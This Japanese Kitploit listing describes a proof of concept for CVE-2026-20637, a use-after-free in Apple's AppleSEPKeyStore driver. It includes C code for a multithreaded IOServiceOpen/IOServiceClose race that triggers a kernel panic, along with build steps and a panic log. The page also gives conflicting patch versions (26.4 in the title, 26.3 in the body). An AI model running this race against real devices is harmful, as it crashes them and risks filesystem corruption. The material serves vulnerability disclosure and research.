Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-20637-AppleSEPKeyStore-UAF — CVE-2026-20637: AppleSEPKeyStore の Use-After-Free — iOS/macOS カーネルの脆弱性(26.4 でパッチ適用済み) | Kitploit
ツール/GitHubGitHub/enfilade-labs/cve-2026-20637-applesepkeystore-uaf
iOSセキュリティ脆弱性分析エクスプロイトモバイルセキュリティバイナリエクスプロイト
GitHubenfilade-labs/cve-2026-20637-applesepkeystore-uaf

CVE-2026-20637-AppleSEPKeyStore-UAF

CVE-2026-20637: AppleSEPKeyStore の Use-After-Free — iOS/macOS カーネルの脆弱性(26.4 でパッチ適用済み)

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
14ヶ月前未レビュー

CVE-2026-20637 — AppleSEPKeyStore の Use-After-Free

CVE-2026-20637 · Enfilade · enfilade.io

コンポーネント: AppleKeyStore

影響: アプリが予期しないシステム終了を引き起こす可能性があります。

説明: メモリ管理の改善により、use after free の問題が解決されました。

— Apple セキュリティコンテンツ、iOS 26.3 および iPadOS 26.3

対象

iOS26.1 – 26.2 (テスト済み)
macOS26.1 – 26.2 (テスト済み)
コンポーネントcom.apple.driver.AppleSEPKeyStore
修正版iOS 26.3 / iPadOS 26.3

Apple は 26.2.1 から 26.3 の間で段階的に修正している可能性があるため、中間ビルドでは再現しない場合があります。

警告

PoC を実行するとデバイスがカーネルパニックを起こします。実行前に作業を保存してください。パニックを繰り返すとファイルシステムが破損する可能性があります。セキュリティ研究目的のみに使用してください。

脆弱性

AppleKeyStore の競合状態を介してトリガーされる IOCommandGate の use-after-free。8 つの呼び出し元スレッドがセレクタ 0〜15 で IOConnectCallMethod を連打し、4 つのクローズスレッドが IOServiceClose を競合させ、コマンドゲートが解放された後にアクセスされるウィンドウを生み出します。

概念実証

root@kitploit:~
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS      8
#define NUM_CLOSERS      4
#define NUM_ITERATIONS   100000

static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;

// 8 つの呼び出し元スレッド: IOConnectCallMethod を連打 (高優先度)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    for (uint32_t sel = 0; sel < 16; sel++) {
        IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
    }
}

// 4 つのクローズスレッド: IOServiceClose を競合 (高優先度)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    IOServiceClose(conn);
    atomic_store(&g_conn, IO_OBJECT_NULL);
}

// メインスレッド: 10 万回の接続、遅延なし
for (int i = 0; i < NUM_ITERATIONS; i++) {
    uint32_t type = (i % 4 == 0) ? 0x2022
                  : (i % 4 == 1) ? 0xbeef
                  : (i % 4 == 2) ? 0x1337
                                 : 0x4141;
    IOServiceOpen(svc, mach_task_self(), type, &conn);
    atomic_store(&g_conn, conn);
    // 遅延なし — タイトな競合ウィンドウ
}

ビルドと実行

  1. Xcode で ios-app/Test.xcodeproj を開きます。
  2. 物理 iOS デバイスを選択します (シミュレータではドライバに到達できません)。
  3. ビルド、実行し、アプリから PoC をトリガーします。

パニックログ

root@kitploit:~
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
  (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
   72: 0xfffffffffffffe00

Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
  root:xnu-12377.42.6~55/RELEASE_ARM64_T8030

Panicked task 0xffffffe5b4f1e820: pid 956: Test

Kernel Extensions in backtrace:
   com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
      @0xfffffff016a47020->0xfffffff016a84f9f

ライセンス

LICENSE を参照してください。

ツールをダウンロード